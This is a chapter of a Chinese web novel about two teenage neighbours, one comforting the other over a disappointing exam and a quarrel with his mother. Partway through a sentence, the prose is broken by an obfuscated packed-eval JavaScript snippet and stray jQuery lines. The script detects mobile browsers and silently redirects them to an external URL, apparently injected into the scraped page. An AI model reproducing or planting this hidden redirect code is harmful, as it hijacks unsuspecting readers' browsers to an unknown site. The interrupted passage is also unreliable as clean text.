9. 第 9 章

作品:《直男竹马,但我老婆

    “砰——!”


    隔着房门,客厅传来一声防盗门被重重摔上的声音。


    骆危楼刚坐下,甚至连书包都还没挂到椅背。他动作一愣,继续挂书包、拿出卷子。


    从笔筒随意抽出一支笔,在摊开的卷子上才勾了两个题干重点,就往后靠去,转着笔闭上眼睛。


    有点烦。


    没办法控制的烦躁从心底升起,大脑仿佛被一团乱麻来回抽拉,连四肢也急需动起来,排解这股烦躁。


    抬手揉了下眉心,骆危楼弯腰拉开最下面的抽屉,翻开几本书,刚摸到方形的纸盒,就听手机震了震,跟着拍门声响起。


    骆危楼动作一顿,关上抽屉,起身往外走。


    打开门,一只碗差点怼到他脸上。


    “嘿,外婆买的枣,喊我给你拿点,快快,尝一尝。”严妄从碗后面探出头,“包甜的。”


    骆危楼挑了挑眉,伸手接碗的同时,侧过身,“只是送枣?”


    严妄咳了声,挠了一下脸颊,“顺便来安慰安慰你考砸后的脆弱心灵。”


    说着瞪向骆危楼,“你好烦啊,看破不说破。”


    骆危楼笑了下,“那我谢谢你。”


    “嘁。”严妄进来,顺手带上门,边换鞋边问:“你刚才磨磨蹭蹭干什么?给你打电话你也不接。”


    “写卷子。”骆危楼端着碗,“一起?”


    严妄抖抖肩,“婉拒了哈。”


    骆危楼点点头,纠正,“这不叫婉拒。”


    严妄跟在他后面,径直去了房间。没问他怎么一个人在家,也没问陆舍青去哪了。


    关上房间门,严妄莫名松了口气。


    他看眼桌上放着的卷子,心想不愧是骆危楼,天塌下来都得把卷子写了。


    “你要看什么自己拿,我把这张卷子写完。”骆危楼放了碗,坐回桌前,“写完再打游戏。”


    严妄倒在他床上,趴着侧过头问:“你是小机器人吗?设定好程序,就一定得完成了再继续下一件事。”


    “我们人类都是可以自行调节的。”


    骆危楼拿着笔,看着刚才勾出来的信息,连字迹都能看出烦躁。


    重新在下面画了条线,“那你们人类,要不要学习?”


    严妄无语,拿出手机翻群消息,“劳逸结合,你不明白。”


    骆危楼低笑一声,听着耳边不时点开的群语音,纱窗外的细微声响,很快写完了半张卷子。


    严妄戳着手机屏幕,视线从手机抬起,看向旁边的骆危楼,又看了眼被冷落的枣。


    什么啊,真写卷子去了。


    从床上爬起来,拿了两个枣,他瞥向那张卷子,立即头疼起来,干脆从后面勾住骆危楼脖子,强行把枣塞到他嘴边。


    半个小时写半张,开始看大题了,“别辜负外婆的心意。”


    骆危楼毫无反抗之心,顺着往后,后脑靠在严妄身上,张嘴咬住枣。


    嘴里有东西,说不了话 。


    从骆危楼的视角看去,是严妄还未完全变得锋利的下颌,有一些圆润,但并不会显胖。


    是清俊又显乖的长相。


    严妄直接伸手去拿他卷子,只穿了一件短袖,胳膊擦过骆危楼的脖子和脸,原本淡淡的沐浴露味道,突然变得清晰。


    骆危楼微微偏开头,避开紧贴在一起的胳膊,“洗过澡了?”


    “那当然了,这天气不洗澡还能活吗?”严妄看着卷子,“这题原来选这个啊。”


    骆危楼咽下最后一点枣,伸手把卷子拿开,“自己的作业,自己做。”


    严妄瞪眼,趁着骆危楼还没逃脱自己的桎梏,胳膊往后一收,“谁抄你的了,我写完了,只是发现答案不一样。”


    骆危楼敷衍地“嗯”了声,打算收拾下,明天再写。


    “松手,贴着不嫌热?”


    “就不松,你闻闻香不香?外婆刚换的沐浴露,终于不是牛奶味的了,是橘子的,又甜又舒服。”严妄一身反骨,从小就爱跟骆危楼对着干。


    粘人时候是真粘人,烦的时候也是狗都嫌。


    骆危楼避开严妄抬起来的胳膊,偏过头时,嘴唇擦过一片温热的皮肤。


    手腕,还是胳膊内侧。


    不知道,他没去看。


    “严妄。”


    “在呢在呢。”


    严妄见他不去管卷子了,伸手去挠他腰,“写什么作业,一起玩吧,我带你打排位,今晚直升铂金。”


    骆危楼被挠了一下腰,痒意瞬间爬上背脊,立即从椅子站起来,反手抓住严妄的手腕,脚下一带,直接把人压到床上。


    膝盖顺势跪在床边,单脚踩地,盯住严妄,“玩什么?”


    严妄一点不怕他,还在笑,试着抬腿想挣开,“玩什么都行,不写作业就好。”


    “别动。”骆危楼呼吸顿了下,“闹不闹腾?”


    严妄挣不开,干脆摆烂,“那你做作业不理我,你知道半个小时是多少秒吗?我寒心啊。”


    伸手去挠他手背,“我跟外婆说了,今晚不回去睡。”


    骆危楼抓着他手腕的动作一松,别开眼,起身退回椅子,坐下后拿起一本书,“那你接着寒心。”


    “骆危楼!”


    “在。”


    “我真不想理你了。”严妄翻身坐起来,拿过枕头狠狠往他身上砸去,“吃饭了吗?!”


    凶巴巴地看着骆危楼,“还好意思教训我,你知不知道不按时吃三餐会——”


    “会生病。”


    骆危楼侧过身,把书放回去,脸上表情松动,有了不算明显的笑意。


    他站起来,朝严妄伸手,“为了跟你道歉,有荣幸能请你去吃个晚饭吗?”


    严妄扭头,坐着不理他,连胳膊都抱起来。


    骆危楼:“真不去?”


    严妄转了转眼珠子,算是回应。


    骆危楼收回手,又走近一步,“那就只能强行把你绑去了。”


    严妄来不及反抗,被骆危楼直接扛了起来,“骆危楼!我会摔下去的!”


    骆危楼拍了一下他腿,“再动才要摔下去。”


    严妄觉得丢人,但严妄不说,只好跟条咸鱼一样,随骆危楼去了。


    -


    老城住宅区周围,最不缺夜市和门店。


    严妄坐在一家烧烤店,咬着肉串看对面吃炒饭的骆危楼,适时把水推过去。


    骆危楼放下碗,拧开瓶盖,“问吧。”


    严妄不好意思笑起来,擦擦嘴,“阿姨为什么突然生气啊?是不是你考砸了,所以她不高兴,觉得你懈怠学习。”


    “不是。”骆危楼直接否认,“是觉得我在跟她赌气。”


    严妄“啊”了声,一脸不解,“赌气?”


    骆危楼看向旁边的车道,靠在陈旧的塑料椅背上,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025648|162243||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她跟学校商量,摸底考进前十,就可以申请转到实验班。”


    实验班,其实就是重点班。


    只不过学校换了一种名字来应对政策而已,重点班、普通班摇身一变,成了实验班、平行班。


    “这样啊。”严妄拿着一串土豆,咬了口,“那月考进了不行吗?”


    骆危楼眉头皱起,“你想我去?”


    严妄立即低下头,装作很忙的样子,“那你的成绩本来也可以进实验班。”


    “……”


    “但我觉得你在六班也很好啊,不一样的好,换班了还容易影响你状态。”


    骆危楼那点刚冒出来的生气,才露出个尖,就被严妄掐断。


    严妄放下半串土豆,觉得自己好像饱了,吃着不如刚才香,“那你要和阿姨解释,阿姨肯定是误会你了,作文本来也容易偏题。”


    不用骆危楼说,严妄都知道陆舍青是怎么想的。


    无非是觉得骆危楼的作文是故意写跑题,丢分了才考出前十,一下掉了十几名。


    “不过阿姨为什么不跟你先商量?”严妄看向骆危楼,“要是阿姨提前和你商量,那你说不定就可以进前十,不想去的话,那就不申请,而不是现在不能申请,好像你进不去一样。”


    “实验班在二楼,离得还挺近的。”


    “要是你去了实验班,我们还可以一起放学吗?午饭还能一起去食堂吧。”


    “实验班的数学老师好像很厉害,但我觉得文韵的教学方法也挺好的。”


    “骆危楼,你——”


    严妄一个人嘟嘟囔囔地说了一通,手里纸巾揪成碎屑,一抬头,发现对面的当事人正笑着看他。


    严妄:“。”


    不想说话了。


    骆危楼只是笑着,“要不要再加点肉串?”


    严妄扭脸,“我是来陪你吃饭的,又不是我吃。”


    正好给旁边桌上菜的老板,听到这一句,扭头看了眼他面前那堆竹签。


    有三十几串,大部分都是烤肉、板筋和牛肉。


    “那回家,走回去正好消食。”


    “吃饭是为了立即消化的吗?那还吃什么。”


    骆危楼庆幸老板走开了,不然这话听上去像是找茬。


    去店门口扫码付了钱,骆危楼回来,拎起还坐那儿的严妄。


    严妄拍掉骆危楼的手,扯了扯衣服,“拉拉扯扯的,像什么样子。要我是女生,明天你的八卦就能传遍附中。”


    骆危楼捻了捻指腹,“一会儿还回楼上吗?”


    严妄瞪他,“你这是在赶我走?”


    骆危楼没吭声,只是走到了人行道外侧,“怕你是哄我开心才编的。”


    严妄的头发都要竖起来,跟被踩到尾巴一样,“谁哄你啊,你不要自作多情,我这是身为好邻居应该做的。”


    骆危楼“哦”了声,抬脚往前走。


    走出去两步,又停下来回头,等着严妄跟上来。


    夏夜里的梧桐大道,暑气被层层树叶削弱,他俩走在人行道上,不觉得热。


    “你真的要去实验班吗?”


    “不去。”


    “那等会儿带你上段。”


    “去了就不带?”


    “我才不像你一样小气。”


    骆危楼笑了声,严妄立即勾住他脖子,伸手捂住他嘴。


    烦死人,有什么好笑的。